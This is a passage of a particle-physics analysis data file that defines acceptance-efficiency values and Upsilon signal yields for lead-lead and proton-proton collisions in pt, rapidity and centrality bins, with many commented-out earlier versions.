Aet_2S_pyquen_cent2014e[nCentBins_2014]={0.003,0.004,0.004,0.004,0.003,0.005,0.004,0.004};\n\nfloat Aet_2S_pyquen_cent2bin[nCentBins_2014]={0.205};\nfloat Aet_2S_pyquen_2Scentbins[nCentBins_2S]={0.214,0.212,0.206,0.199};\nfloat Aet_2S_pyquen_2Scentbinse[nCentBins_2S]={0.002,0.002,0.002,0.002};// completely ad-hoc .\n\n///PT 4 stuff\nfloat Aet_1S_pythia_pt4[nPtBins_2013]={0.206,0.120,0.142,0.224,0.355};\nfloat Aet_1S_pythia_pt4e[nPtBins_2013]={0.001,0.001,0.001,0.002,0.005};\nfloat Aet_1S_pythia_rap42014[nRapBins_2014]={0.192,0.195,0.193,0.180,0.154,0.058};\nfloat Aet_1S_pythia_rap42014e[nRapBins_2014]={0.002,0.002,0.002,0.002,0.002,0.001};\nfloat Aet_1S_pyquen_pt4[nPtBins_2013]={0.189,0.111,0.136,0.223,0.354};\nfloat Aet_1S_pyquen_pt4e[nPtBins_2013]={0.004,0.002,0.003,0.004,0.005};\nfloat Aet_1S_pyquen_rap42014[nRapBins_2014]={0.168,0.178,0.183,0.178,0.151,0.059};\nfloat Aet_1S_pyquen_rap42014e[nRapBins_2014]={0.003,0.004,0.004,0.004,0.004,0.003};\nfloat Aet_1S_pyquen_cent42014[nCentBins_2014]={0.166,0.166,0.164,0.164,0.163,0.160,0.157,0.152};\nfloat Aet_1S_pyquen_cent42014e[nCentBins_2014]={0.003,0.004,0.003,0.003,0.003,0.003,0.002,0.002};\n\n//// Double differential // Large Bins\nfloat Aet_1S_pythia_ptLarge[nPtBins_2010]={0.257,0.222,0.390};\nfloat Aet_1S_pythia_ptLargee[nPtBins_2010]={0.001,0.01,0.005};\nfloat Aet_1S_pythia_rapLarge[nRapBins_2010]={0.289,0.207};\nfloat Aet_1S_pythia_rapLargee[nRapBins_2010]={0.001,0.001};\nfloat Aet_1S_pyquen_ptLarge[nPtBins_2010]={0.228,0.210,384}; //pyquen, cent. integrated\nfloat Aet_1S_pyquen_ptLargee[nPtBins_2010]={0.002,0.003,0.005};\nfloat Aet_1S_pyquen_rapLarge[nRapBins_2010]={0.252,0.201};\nfloat Aet_1S_pyquen_rapLargee[nRapBins_2010]={0.002,0.003};\n//////////////////////////////////////YIELDS//////////////////////////////////////\n////yields in the note\n/* /\\* float N1S_aa_pt3p5[nPtBins_2013] = {863,929,572,346,184}; // ,53 *\\///prior to Oct 20! */\n/* /\\* float N1S_aa_pt3p5e[nPtBins_2013] = {92,75,66,32,21}; //,8.9 *\\/ */\n/* /\\* float N1S_aa_pt3p5[nPtBins_2013] = {691,686,507,343,175}; // ,53 *\\/ */\n/* /\\* float N1S_aa_pt3p5e[nPtBins_2013] = {42,41,66,32,21}; //,8.9 *\\/ */\n/* float N1S_aa_pt3p5[nPtBins_2013]={725.578,700.694,515.951,349.402,182.037}; */\n/* float N1S_aa_pt3p5e[nPtBins_2013]={43.222,41.8636,36.5595,40.0363,16.6537}; */\nfloat N1S_aa_pt3p5Large[nPtBins_2010] = {1842,466,311}; // ,53\nfloat N1S_aa_pt3p5eLarge[nPtBins_2010] = {110,67,24}; //,8.9 // wowowowow 2nd bin was 107, tricked it :) for unimportant reasons.\n/* float N1S_aa_pt4[nPtBins_2013] = {440.993,398.654,349.214,290.442,162.54}; */\n/* float N1S_aa_pt4e[nPtBins_2013] = {33.4403,29.9976,27.5772,24.5429,15.4982}; */\n\n/* float N1S_aa_rap3p5[nRapBins_2013] = {492,388,403,694,677}; */\n/* float N1S_aa_rap3p5e[nRapBins_2013] = {57,43,48,57,79}; */\n/* //float N1S_aa_cent3p5[bin1] = {269,241,375,520,620,452,477}; */\n/* // new values from july 2014, with 70-100 bin included! */\n/* /\\* float N1S_aa_cent3p5[nCentBins_2014] = {57,176,228,330,439,636,441,499}; // 70-100 bin, with pol2 *\\/ */\n/* /\\* float N1S_aa_cent3p5e[nCentBins_2014] ={10, 20, 31, 41, 45, 60, 53, 74}; *\\/ */\n/* float N1S_aa_cent3p5[nCentBins_2014] = {48.2829,173.952,172.083,288.917,438.602,646.191,411.335,412.229}; */\n/* float N1S_aa_cent3p5e[nCentBins_2014] = {9.00598,17.2041,18.5096,24.7382,31.9025,40.348,33.3496,36.3436}; */\nfloat N1S_aa_pt3p5U[nPtBins_2013] = {862,945,574,329,180};//,54};\nfloat N1S_aa_pt3p5eU[nPtBins_2013] = {94.4,78.9,69.8,33.6,21.9}; //,8.9 9.3\n\n/* float N2S_aa_pt3p5[nPtBins_2010] = {65,53,9}; //2010 binning */\n/* float N2S_aa_pt3p5e[nPtBins_2010] = {59,24,13}; //and their errors. */\n/* float N2S_aa_rap3p5[nPtBins_2010] = {112,61}; //2010 binning */\n/* float N2S_aa_rap3p5e[nPtBins_2010]= {46,38}; //and their errors. */\n/* //float N2S_aa_cent3p5[bin1] = {38,40,55,16,28,28,76}; //2011 binning */\n/* //float N2S_aa_cent3p5e[bin1]= {15,17,21,23,30,29,34}; //and their errors. */\n/* /\\* float N2S_aa_cent3p5[bin1] = {10.8,16,34,37,1.,22,12,74}; //2014 binning ! *\\/ */\n/* /\\* float N2S_aa_cent3p5e[bin1]= {6.9,11,16,20,22,30,26,36}; //and their errors. *\\/ */\n/* /\\* float N2S_aa_cent4[bin1] = {26,30,48,39,43,0.9,47}; //2011 binning ! *\\/ */\n/* /\\* float N2S_aa_cent4e[bin1]= {9,13,15,19,28,23,27}; //and their errors. *\\/ */\n/* float N2S_aa_cent4[bin1] = {26,21.7397,36.0665,30.8685,24.8739,2.59681,29.2158}; // */\n/* float N2S_aa_cent4e[bin1] = {9,9.76781,13.8025,15.7822,20.1582,15.5757,19.4574};// careful first bin crazy */\n\n\nfloat N1S_aa_tot4=1784;\nfloat N1S_aa_tot4e=62;\nfloat N1S_aa_tot3p5=2538;\n//float N1S_aa_tot3p5=2759;\n//float N1S_aa_tot3p5e=135;\nfloat N1S_aa_tot3p5e=80;\nfloat N2S_aa_tot4=142;\nfloat N2S_aa_tot4e=42;\nfloat N2S_aa_tot3p5=162;//227;\nfloat N2S_aa_tot3p5e=55;//66;\nfloat N3S_aa_tot4=0;\nfloat N3S_aa_tot4e=39;\nfloat N3S_aa_tot3p5=37;\nfloat N3S_aa_tot3p5e=59;\n\n//upper limit:\nfloat N3S_aa_UL4=97.8;\n\n///test bench\n/* float N1S_aa_tot4=2042; */\n/* float N1S_aa_tot4e=105; */\n/* float N1S_aa_tot3p5=2762; */\n/* float N1S_aa_tot3p5e=143; */\n/* float N2S_aa_tot4=233; */\n/* float N2S_aa_tot4e=53; */\n/* float N2S_aa_tot3p5=225; */\n/* float N2S_aa_tot3p5e=72; */\n/* float N3S_aa_tot4=58; */\n/* float N3S_aa_tot4e=46; */\n/* float N3S_aa_tot3p5=39; */\n/* float N3S_aa_tot3p5e=63; */\n\n//LEAD LEAD\n/* // yields from francois May 5th */\n/* /\\* float N1S_aa_rap3p5_2014[nRapBins_2014] = {486,520,623,532,464,113};// large bin=540} *\\/ */\n/* /\\* float N1S_aa_rap3p5_2014e[nRapBins_2014]= {40.6,51.7,69.3,44.3,76.2,30.3}; //largebin=78.6 *\\/ */\n\nfloat N1S_aa_rap3p5_2014Large[nRapBins_2010] = {1610,970};\nfloat N1S_aa_rap3p5_2014Largee[nRapBins_2010]= {91.3,64.7};\n\nfloat N1S_aa_rap4_2014[nRapBins_2014]={312,320,397,388,334,59.6};\nfloat N1S_aa_rap4_2014e[nRapBins_2014]={26.9,26.9,30.9,33.6,53.7,16.3};\n/* float N1S_aa_rap4_2014Large[nRapBins_2010]={1080,665}; */\n/* float N1S_aa_rap4_2014Largee[nRapBins_2010]={69.7,47.2}; */\n\n/* float N2S_aa_rap3p5_2014Large[nRapBins_2010]={111,61.7}; */\n/* float N2S_aa_rap3p5_2014Largee[nRapBins_2010]={45.4,38.2}; */\n/* /\\* float N2S_aa_rap4_2014Large[nRapBins_2010]={84.3,58.8}; *\\/ */\n/* /\\* float N2S_aa_rap4_2014Largee[nRapBins_2010]={32.6,28.2}; *\\/ */\n/* float N2S_aa_rap4_2014Large[nRapBins_2010]={83.0694,52.3694}; */\n/* float N2S_aa_rap4_2014Largee[nRapBins_2010]={29.9647,27.1147}; */\n//from me\n/* float N2S_aa_pt4_2013Large[nPtBins_2010]={71.,43.,20}; */\n/* float N2S_aa_pt4_2013Largee[nPtBins_2010]={39.,26.,13}; */\n/* float N1S_aa_rap3p5_2014[nRapBins_2014] = {490.817,506.78,570.804,512.765,375.383,118.497}; */\n/* float N1S_aa_rap3p5_2014e[nRapBins_2014] = {31.3657,35.0903,38.568,37.6318,31.452,18.1268}; */\n/* float N2S_aa_rap3p5[nRapBins_2014] = {19.8274,54.0754,31.1618,-8.478,41.2374,5.71804}; */\n/* float N2S_aa_rap3p5e[nRapBins_2014] = {20.8224,26.0765,26.9882,24.9951,20.1535,11.255}; */\n/* float N2S_aa_rap4_2014Large[nRapBins_2010] = {83.0694,52.3694}; */\n/* float N2S_aa_rap4_2014Largee[nRapBins_2010] = {29.9647,27.1147}; */\n/* float N1S_aa_rap4_2014Large[nRapBins_2010] = {1054.52,693.517}; */\n/* float N1S_aa_rap4_2014Largee[nRapBins_2010] = {45.4284,40.0771}; */\n/* float N1S_aa_pt3p5[nPtBins_2013] = {725.578,700.694,515.951,349.402,182.037}; */\n/* float N1S_aa_pt3p5e[nPtBins_2013] = {43.222,41.8636,36.5595,40.0363,16.6537}; */\n/* float N2S_aa_pt3p5[nPtBins_2013] = {11.3525,56.9485,13.9029,29.1776,22.4181}; */\n/* float N2S_aa_pt3p5e[nPtBins_2013] = {27.4325,29.1529,25.457,28.8449,9.47339}; */\n/* float N1S_aa_pt4[nPtBins_2013] = {440.993,398.654,349.214,290.442,162.54}; */\n/* float N1S_aa_pt4e[nPtBins_2013] = {33.4403,29.9976,27.5772,24.5429,15.4982}; */\n/* /\\* float N2S_aa_pt4_2013Large[nPtBins_2010] = {62.5574,18.8922,21.8201}; *\\/ */\n/* /\\* float N2S_aa_pt4_2013Largee[nPtBins_2010] = {33.4764,18.9991,12.3811}; *\\/ */\n/* float N2S_aa_pt4_2013Large[nPtBins_2010] = {47.2699,31.7819,22.5695}; */\n/* float N2S_aa_pt4_2013Largee[nPtBins_2010] = {30.785,20.3283,8.14638}; */\n/* float N1S_aa_pt4_2013Large[nPtBins_2010] = {1054.77,304.952,293.117}; */\n/* float N1S_aa_pt4_2013Largee[nPtBins_2010] = {48.3581,27.4976,21.5473}; */\n/* float N1S_aa_cent3p5[nCentBins_2014] = {48.2829,173.952,172.083,288.917,438.602,646.191,411.335,412.229}; */\n/* float N1S_aa_cent3p5e[nCentBins_2014] = {9.00598,17.2041,18.5096,24.7382,31.9025,40.348,33.3496,36.3436}; */\n/* float N1S_aa_cent3p5Super[nCentBins_2014+1] = {48.2829,173.952,172.083,288.917,438.602,646.191,411.335,188,223}; //for fun, splitting 0-5 into 0-2.5, 2.5-5 */\n/* float N1S_aa_cent3p5Supere[nCentBins_2014+1] = {9.00598,17.2041,18.5096,24.7382,31.9025,40.348,33.3496,25,26}; */\n/* float N1S_aa_cent4[nCentBins_2014-1] = {160,107,215.137,315.578,440.382,277.322,302.788}; //149.497,89.9569 */\n/* float N1S_aa_cent4e[nCentBins_2014-1] = {15.5456,13.1752,20.3204,24.2413,30.1667,24.6636,27.1465}; */\n/* float N2S_aa_cent4[bin1] = {12.5547,21.7397,36.0665,30.8685,24.8739,2.59681,29.2158}; */\n/* float N2S_aa_cent2bin[2] = {98,50}; */\n/* float N2S_aa_cent2bine[2] = {24,32}; */\nfloat N2S_aa_cent4e[bin1] = {9.27443,9.76781,13.8025,15.7822,20.1582,15.5757,19.4574};\nfloat N2S_aa_cent4_4bins[4]={12.2,57,49,29}; //50-100, 30-50, 10-30, 0-10\nfloat N2S_aa_cent4_4binse[4]={9.2,16,25,25};//50-100, 30-50, 10-30, 0-10\nfloat N2S_aa_rap3p5_2014Large[nRapBins_2010] = {98.3172,49.8434};\nfloat N2S_aa_rap3p5_2014Largee[nRapBins_2010] = {41.4689,38.937};\nfloat N2S_aa_pt3p5_2013Large[nPtBins_2010] = {64.3019,44.5793,23.1759};\nfloat N2S_aa_pt3p5_2013Largee[nPtBins_2010] = {41.8096,32.9534,9.47136};\n\n\n\n/* float N1S_aa_y120[2] = {628.687,896.043}; */\n/* float N1S_aa_y120e[2] = {34.5313,46.832}; */\n/* float N1S_aa_y240[2] = {482.051,512.908}; */\n/* float N1S_aa_y240e[2] = {32.7068,40.6259}; */\n/* float N1S_aa_pt5[2] = {621.513,811.318}; */\n/* float N1S_aa_pt5e[2] = {37.7155,48.8599}; */\n/* float N1S_aa_pt12[2] = {398.64,496.135}; */\n/* float N1S_aa_pt12e[2] = {28.3544,38.1232}; */\n/* float N1S_aa_pt20[2] = {64.1709,113.79}; */\n/* float N1S_aa_pt20e[2] = {9.6791,13.3602}; */\n\n\n/* //PROTON PROTON */\n/* /\\* float N1S_pp_rap3p5_2014[nRapBins_2014] = {1110,1130,1010,988,830,359}; //largebin=1289 *\\/ */\n/* /\\* float N1S_pp_rap3p5_2014e[nRapBins_2014]= {44.7,49.7,47.6,43.6,41.2,23.8}; // largebin=51.7 *\\/ */\n/* /\\* float N1S_pp_rap3p5_2014[nRapBins_2014]={1043.5,1124.69,1007.1,967.16,808.658,372.962}; *\\///Open trigger */\n/* /\\* float N1S_pp_rap3p5_2014e[nRapBins_2014]={36.6026,39.9872,39.123,39.7542,37.6477,23.2556}; *\\/ */\n/* float N1S_pp_rap3p5_2014[nRapBins_2014] = {1045.8,1114.99,971.794,892.208,655.377,249.099}; //highQ */\n/* float N1S_pp_rap3p5_2014e[nRapBins_2014] = {36.732,39.9483,38.4188,37.9055,32.4348,19.3658}; */\n/* float N1S_pp_rap4_2014[nRapBins_2014]={785,836,699,660,601,265}; ///largebin 830};// */ // OOOOLD trig!\n/* float N1S_pp_rap4_2014e[nRapBins_2014]={35.6,38,41.4,33.9,70.9,23}; //largebin = 36.9 */\nfloat N1S_pp_rap4_2014[nRapBins_2014] = {755.141,797.298,678.897,595.653,434.373,173.238};\nfloat N1S_pp_rap4_2014e[nRapBins_2014] = {30.6288,33.0107,31.3006,30.3759,27.4019,16.486};\n\n/* /\\* float N2S_pp_rap3p5_2014[nRapBins_2014]= {360,347,315,341,276,63.9}; //open *\\/ */\n/* /\\* float N2S_pp_rap3p5_2014e[nRapBins_2014]={27.1,27.9,29.3,30,28.6,14.3}; *\\/ */\n/* float N2S_pp_rap3p5_2014[nRapBins_2014] = {316.234,338.689,308.931,305.157,229.726,50.7125}; //highQ */\n/* float N2S_pp_rap3p5_2014e[nRapBins_2014] = {24.0715,25.9207,26.8278,27.3601,23.4638,12.9031}; */\n/* /\\* float N2S_pp_rap4_2014[nRapBins_2014]={265,277,239,241,254,62.3}; //open *\\/ */\n/* /\\* float N2S_pp_rap4_2014e[nRapBins_2014]={22.9,24.3,24,24.9,47.4,13.9}; *\\/ */\n/* float N2S_pp_rap4_2014[nRapBins_2014] = {241.004,257.264,229.192,218.071,179.066,45.9916}; //highQ */\n/* float N2S_pp_rap4_2014e[nRapBins_2014] = {19.9981,21.644,21.2744,22.3079,20.8062,11.7197}; */\n/* /\\* float N2S_pp_rap4_2014Large[nRapBins_2010]={2290,1470}; *\\/ */\n/* /\\* float N2S_pp_rap4_2014Largee[nRapBins_2010]={67.9,63.6}; *\\/ */\n/* /\\* float N2S_pp_rap4_2014Large[nRapBins_2010]={714.061,497.992}; *\\/ //open */\n/* /\\* float N2S_pp_rap4_2014Largee[nRapBins_2010]={36,37.8979}; *\\/ */\n/* float N2S_pp_rap4_2014Large[nRapBins_2010] = {706.144,435.857}; //highQ */\n/* float N2S_pp_rap4_2014Largee[nRapBins_2010] = {35.7708,36.5077}; */\n/* /\\* float N3S_pp_rap3p5_2014[nRapBins_2013]={170,175,179,121,189};//,111,74.9}; //open *\\/ */\n/* /\\* float N3S_pp_rap3p5_2014e[nRapBins_2013]={21.2,23.3,25.7,24.9,28.2};//;,24.1,14.3}; *\\/ */\n/* float N3S_pp_rap3p5_2014[nRapBins_2014] = {140.577,167.214,165.89,113.125,87.8148,56.0211}; //highQ */\n/* float N3S_pp_rap3p5_2014e[nRapBins_2014] = {19.0652,21.8788,23.189,22.6344,19.3827,12.5086}; */\n/* /\\* float N3S_pp_rap4_2014[nRapBins_2014]={134,138,138,96,108,67.3}; //175} *\\/ */\n/* /\\* float N3S_pp_rap4_2014e[nRapBins_2014]={18.1,20.7,20.5,20.7,37,14.5}; // 23.4 *\\/ */\n/* /\\* float N3S_pp_rap4_2014[nRapBins_2014]={117.8,126.87,131.51,95.9781,92.4825,67.7779}; //open *\\/ */\n/* /\\* float N3S_pp_rap4_2014e[nRapBins_2014]={15.9977,17.7523,18.5524,19.0335,31.3553,13.4012}; *\\/ */\n/* float N3S_pp_rap4_2014[nRapBins_2014] = {115.373,128.482,135.999,85.7138,71.7167,46.4221}; //highQ */\n/* float N3S_pp_rap4_2014e[nRapBins_2014] = {16.0236,17.9384,18.4957,18.3729,17.3947,11.4625}; */\n/* float N3S_pp_rap4_2014Large[nRapBins_2010] = {360.713,196.843}; */\n/* float N3S_pp_rap4_2014Largee[nRapBins_2010] = {29.9762,31.3335}; */\n/* float N2S_pp_pt3p5_2013[nPtBins_2013] = {433,529,378,266,144};//31.2 */\n/* float N2S_pp_pt3p5_2013e[nPtBins_2013] = {45,41,28,23,15};//7.6 */\n/* /\\* float N2S_pp_pt4_2013[nPtBins_2013]={372.739,250.364,251.718,200.114,124.341}; *\\/ //open */\n/* /\\* float N2S_pp_pt4_2013e[nPtBins_2013]={28.082,23.514,21.9586,17.523,13.319}; *\\/ */\n/* float N2S_pp_pt4_2013[nPtBins_2013] = {301.791,257.089,243.196,188.89,113.466};//highQ */\n/* float N2S_pp_pt4_2013e[nPtBins_2013] = {28.9903,23.9729,20.3855,17.0605,12.7171}; */\n/* /\\* float N2S_pp_pt4_2013[nPtBins_2013] = {318,302,274,230,131};//31.7 *\\/ */\n/* /\\* float N2S_pp_pt4_2013e[nPtBins_2013] = {34,30,22,21,15};//8.0 *\\/ */\n/* /\\* float N2S_pp_pt4_2013Large[nPtBins_2010]={827,287,200}; *\\/ */\n/* /\\* float N2S_pp_pt4_2013Largee[nPtBins_2010]={168,23,31}; *\\/ */\n/* /\\* float N2S_pp_pt4_2013Large[nPtBins_2010]={725.214,248.916,189.512};//open *\\/ */\n/* /\\* float N2S_pp_pt4_2013Largee[nPtBins_2010]={40.9265,20.2315,16.7928}; *\\/ */\n/* float N2S_pp_pt4_2013Large[nPtBins_2010] = {695.703,234.325,173.997};//highQ */\n/* float N2S_pp_pt4_2013Largee[nPtBins_2010] = {39.8716,19.732,16.0895}; */\n/* /\\* float N3S_pp_pt4_2013[nPtBins_2013] = {141,199,134,108,75};//23.4 *\\/ */\n/* /\\* float N3S_pp_pt4_2013e[nPtBins_2013] = {27,28,18,16,12};//7.2 *\\/ */\n/* /\\* float N3S_pp_pt4_2013[nPtBins_2013]={186.882,165.105,118.457,89.0954,71.8379}; //open *\\/ */\n/* /\\* float N3S_pp_pt4_2013e[nPtBins_2013]={23.4312,21.1747,17.7216,13.491,10.8839}; *\\/ */\n/* float N3S_pp_pt4_2013[nPtBins_2013] = {128.482,168.485,112.074,84.2136,69.3291}; //highQ */\n/* float N3S_pp_pt4_2013e[nPtBins_2013] = {24.0888,21.6864,16.513,13.1443,10.6023}; */\nfloat N3S_pp_pt3p5_2013[nPtBins_2013] = {203,282,184,130,83};//21\nfloat N3S_pp_pt3p5_2013e[nPtBins_2013] = {36,34,23,17,13};//6.5\n/* float N3S_pp_pt4_2013Large[nPtBins_2010] = {358.951,91.1538,99.0478}; */\n/* float N3S_pp_pt4_2013Largee[nPtBins_2010] = {34.5618,15.0331,13.0713}; */\n\n\n/* ////yields in the note */\n/* //trying now with yields from plots, waiting for the Arleo ones. 25th apr. 2014 */\n/* /\\* float N1S_pp_pt3p5[nPtBins_2013] = {1717,1550,1107,691,352}; // ,62.5 *\\/ */\n/* /\\* float N1S_pp_pt3p5e[nPtBins_2013] = {80,64,43,43,23}; // ,9.9 *\\/ */\n/* /\\* float N1S_pp_pt3p5[nPtBins_2013]={1623.31,1520.25,1023.34,633.098,344.566}; *\\/ //open */\n/* /\\* float N1S_pp_pt3p5e[nPtBins_2013]={50.737,47.6386,36.7225,28.3172,20.396}; *\\/ */\n/* float N1S_pp_pt3p5[nPtBins_2013] = {1499.27,1418.6,972.688,602.121,337.012}; //highQ */\n/* float N1S_pp_pt3p5e[nPtBins_2013] = {49.2967,45.7898,28.4194,27.578,20.1226}; */\n/* float N1S_pp_pt4[nPtBins_2013] = {954.099,806.429,719.354,515.821,304.747}; */\n/* float N1S_pp_pt4e[nPtBins_2013] = {39.8429,34.6068,30.325,25.261,19.0581}; */\n\nfloat N1S_pp_pt3p5U[nPtBins_2013] = {1718,1546.18,1109.26,692.5,350}; // ,62.8\nfloat N1S_pp_pt3p5eU[nPtBins_2013]= {81,65,44,44,23}; // ,9.9,10\n/* /\\* float N1S_pp_pt3p5Large[nPtBins_2010]={3856,910,586}; *\\/ // 0-6p5-10-20 */\n/* /\\* float N1S_pp_pt3p5eLarge[nPtBins_2010]={97,37,29}; *\\/ */\n/* float N1S_pp_pt3p5Large[nPtBins_2010] = {3440.53,798.368,558.817}; */\n/* float N1S_pp_pt3p5Largee[nPtBins_2010] = {72.8418,32.1636,26.1766}; */\n/* float N1S_pp_rap3p5[nRapBins_2013] = {1102,844,795,1198,1427}; */\n/* float N1S_pp_rap3p5e[nRapBins_2013] = {47,42,37,47,49}; */\n\n/* float N2S_pp_pt3p5Large[nPtBins_2010] = {1166,335,227}; // for CS2S_pp_ptLarge */\n/* float N2S_pp_pt3p5Largee[nPtBins_2010]= {64,26,35}; */\n/* float N2S_pp_pt3p5[nPtBins_2013] = {372.615,491.722,318.957,218.694,123.526}; */\n/* float N2S_pp_pt3p5e[nPtBins_2013] = {32.2694,32.2999,19.49,18.7975,13.4272}; */\n/* float N2S_pp_rap3p5[nRapBins_2010] = {1033,697}; // for CS2S_pp_rapLarge */\n/* float N2S_pp_rap3p5e[nRapBins_2010]= {51,41}; */\n\n\n/* float N1S_pp_pt3p5[nPtBins_2013+1] = {1499.27,1418.6,972.688,602.121,337.012,56.5}; */\n/* float N1S_pp_pt3p5e[nPtBins_2013+1] = {49.2967,45.7898,28.4194,27.578,20.1226.8.6}; */\n/* float N1S_pp_pt3p5Large[nPtBins_2010] = {2970.5,1600.85,337.012}; */\n/* float N1S_pp_pt3p5Largee[nPtBins_2010] = {69.3649,46.0042,20.1226}; */\n/* float N1S_pp_pt4[nPtBins_2013] = {954.099,806.429,719.354,515.821,304.747}; */\n/* float N1S_pp_pt4e[nPtBins_2013] = {39.8429,34.6068,30.325,25.261,19.0581}; */\n/* float N2S_pp_pt3p5_2013[nPtBins_2013] = {372.615,491.722,318.957,218.694,123.526}; */\n/* float N2S_pp_pt3p5_2013e[nPtBins_2013] = {32.2694,32.2999,19.49,18.7975,13.4272}; */\n/* float N1S_pp_rap3p5_2014[nRapBins_2014] = {1045.8,1114.99,971.794,892.208,655.377,249.099}; */\n/* float N1S_pp_rap3p5_2014e[nRapBins_2014] = {36.732,39.9483,38.4188,37.9055,32.4348,19.3658}; */\n/* float N2S_pp_rap3p5_2014[nRapBins_2014] = {316.234,338.689,308.931,305.157,229.726,50.7125}; */\n/* float N2S_pp_rap3p5_2014e[nRapBins_2014] = {24.0715,25.9207,26.8278,27.3601,23.4638,12.9031}; */\n/* float N3S_pp_rap3p5_2014[nRapBins_2014] = {140.577,167.214,165.89,113.125,87.8148,56.0211}; */\n/* float N3S_pp_rap3p5_2014e[nRapBins_2014] = {19.0652,21.8788,23.189,22.6344,19.3827,12.5086}; */\n/* float N2S_pp_pt4_2013Large[nPtBins_2010] = {554.655,424.227,114.736}; */\n/* float N2S_pp_pt4_2013Largee[nPtBins_2010] = {36.8627,27.0866,12.6896}; */\n/* float N3S_pp_pt4_2013Large[nPtBins_2010] = {358.951,91.1538,99.0478}; */\n/* float N3S_pp_pt4_2013Largee[nPtBins_2010] = {34.5618,15.0331,13.0713}; */\n/* float N1S_pp_pt4_2013Large[nPtBins_2010] = {2193.61,630.642,503.002}; */\n/* float N1S_pp_pt4_2013Largee[nPtBins_2010] = {57.4966,28.895,24.7048}; */\n/* float N2S_pp_rap4_2014Large[nRapBins_2010] = {706.144,435.857}; */\n/* float N2S_pp_rap4_2014Largee[nRapBins_2010] = {35.7708,36.5077}; */\n/* float N3S_pp_rap4_2014Large[nRapBins_2010] = {360.713,196.843}; */\n/* float N3S_pp_rap4_2014Largee[nRapBins_2010] = {29.9762,31.3335}; */\n/* float N2S_pp_pt4_2013[nPtBins_2013] = {301.791,257.089,243.196,188.89,113.466}; */\n/* float N2S_pp_pt4_2013e[nPtBins_2013] = {28.9903,23.9729,20.3855,17.0605,12.7171}; */\n/* float N2S_pp_rap4_2014[nRapBins_2014] = {241.004,257.264,229.192,218.071,179.066,45.9916}; */\n/* float N2S_pp_rap4_2014e[nRapBins_2014] = {19.9981,21.644,21.2744,22.3079,20.8062,11.7197}; */\n/* float N3S_pp_pt4_2013[nPtBins_2013] = {128.482,168.485,112.074,84.2136,69.3291}; */\n/* float N3S_pp_pt4_2013e[nPtBins_2013] = {24.0888,21.6864,16.513,13.1443,10.6023}; */\n/* float N3S_pp_rap4_2014[nRapBins_2014] = {115.373,128.482,135.999,85.7138,71.7167,46.4221}; */\n/* float N3S_pp_rap4_2014e[nRapBins_2014] = {16.0236,17.9384,18.4957,18.3729,17.3947,11.4625}; */\n/* float N2S_pp_pt3p5_2013Large[nPtBins_2010] = {841.174,542.792,124.24}; */\n/* float N2S_pp_pt3p5_2013Largee[nPtBins_2010] = {46.9503,31.5481,13.3937}; */\n/* float N2S_pp_rap3p5_2014Large[nRapBins_2010] = {939.403,596.22}; */\n/* float N2S_pp_rap3p5_2014Largee[nRapBins_2010] = {43.4312,40.3201}; */\n\n\n\n////// TO REARRANGE LATER !\n/////// MARCH 3rd, 2015\nfloat N1S_aa_rap3p5_2014[nRapBins_2014] = {487.985,481.623,552.197,506.573,370.098,113.521};\nfloat N1S_aa_rap3p5_2014e[nRapBins_2014] = {31.7992,33.6653,37.786,38.1144,31.1878,17.9019};\nfloat N2S_aa_rap3p5_2014[nRapBins_2014] = {18.1589,49.5771,26.9589,-6.69349,42.3796,5.01174};\nfloat N2S_aa_rap3p5_2014e[nRapBins_2014] = {21.4446,24.5011,26.3246,25.2182,20.0286,11.1522};\nfloat N2S_aa_rap3p5_2014Large[nRapBins_2010] = {98.3172,49.8434};\nfloat N2S_aa_rap3p5_2014Largee[nRapBins_2010] = {41.4689,38.937};\nfloat N1S_aa_pt3p5[nPtBins_2013+1] = {726.745,703.115,513.002,352.598,184.801,50.1};\nfloat N1S_aa_pt3p5e[nPtBins_2013+1] = {43.2643,41.9908,35.285,25.1122,16.6317,8.0};\nfloat N2S_aa_pt3p5[nPtBins_2013] = {11.6496,57.2783,12.2122,28.8976,23.1759};\nfloat N2S_aa_pt3p5e[nPtBins_2013] = {27.4737,29.247,24.7455,14.2242,9.47136};\nfloat N2S_aa_pt3p5_2013Large[nPtBins_2010] = {64.3019,44.5793,23.1759};\nfloat N2S_aa_pt3p5_2013Largee[nPtBins_2010] = {41.8096,32.9534,9.47136};\nfloat N1S_aa_cent3p5[nCentBins_2014] = {47.244,171.376,170.003,284.299,429.589,631.211,406.453,399.242};\nfloat N1S_aa_cent3p5e[nCentBins_2014] = {8.9428,17.1378,18.4118,24.5916,31.6842,40.0692,33.2336,36.1182};\nfloat N2S_aa_cent3p5[nCentBins_2014-1] = {14.3905,23.9882,32.4851,-7.2273,15.7701,2.37886,54.2902};\nfloat N2S_aa_cent3p5e[nCentBins_2014-1] = {11.4856,12.2367,16.3199,20.7843,27.8194,22.6046,27.5036};\n\n\nfloat N1S_pp_pt3p5[nPtBins_2013+1] = {1485.18,1419.09,971.544,610.443,336.5,56.5};\nfloat N1S_pp_pt3p5e[nPtBins_2013+1] = {50.7757,45.8785,34.6759,29.4951,20.1515,8.0};\nfloat N1S_pp_pt3p5Large[nPtBins_2010] = {2910.91,1587.86,336.5};\nfloat N1S_pp_pt3p5Largee[nPtBins_2010] = {68.0454,46.7507,20.1515};\nfloat N2S_pp_pt3p5[nPtBins_2013] = {364.578,492.106,317.137,221.604,124.24};\nfloat N2S_pp_pt3p5e[nPtBins_2013] = {33.8442,32.357,23.4275,20.3839,13.3937};\nfloat N1S_pp_rap3p5_2014[nRapBins_2014] = {1056.22,1059.2,950.541,898.831,647.123,242.356};\nfloat N1S_pp_rap3p5_2014e[nRapBins_2014] = {37.2745,38.0325,36.7018,38.381,34.3541,19.0884};\nfloat N2S_pp_rap3p5_2014[nRapBins_2014] = {321.749,312.107,304.862,305.043,231.578,48.0034};\nfloat N2S_pp_rap3p5_2014e[nRapBins_2014] = {24.5519,24.5002,25.1158,27.6449,25.1545,12.5694};\nfloat N3S_pp_rap3p5_2014[nRapBins_2014] = {149.423,150.038,160.414,113.702,85.6271,53.2686};\nfloat N3S_pp_rap3p5_2014e[nRapBins_2014] = {19.687,20.5616,21.5392,22.7516,20.3233,12.2139};\nfloat N2S_pp_pt3p5_2013Large[nPtBins_2010] = {841.174,542.792,124.24};\nfloat N2S_pp_pt3p5_2013Largee[nPtBins_2010] = {46.9503,31.5481,13.3937};\nfloat N2S_pp_rap3p5_2014Large[nRapBins_2010] = {939.403,596.22};\nfloat N2S_pp_rap3p5_2014Largee[nRapBins_2010] = {43.4312,40.3201};\n\n// DOUBLE DIFFERENTIAL 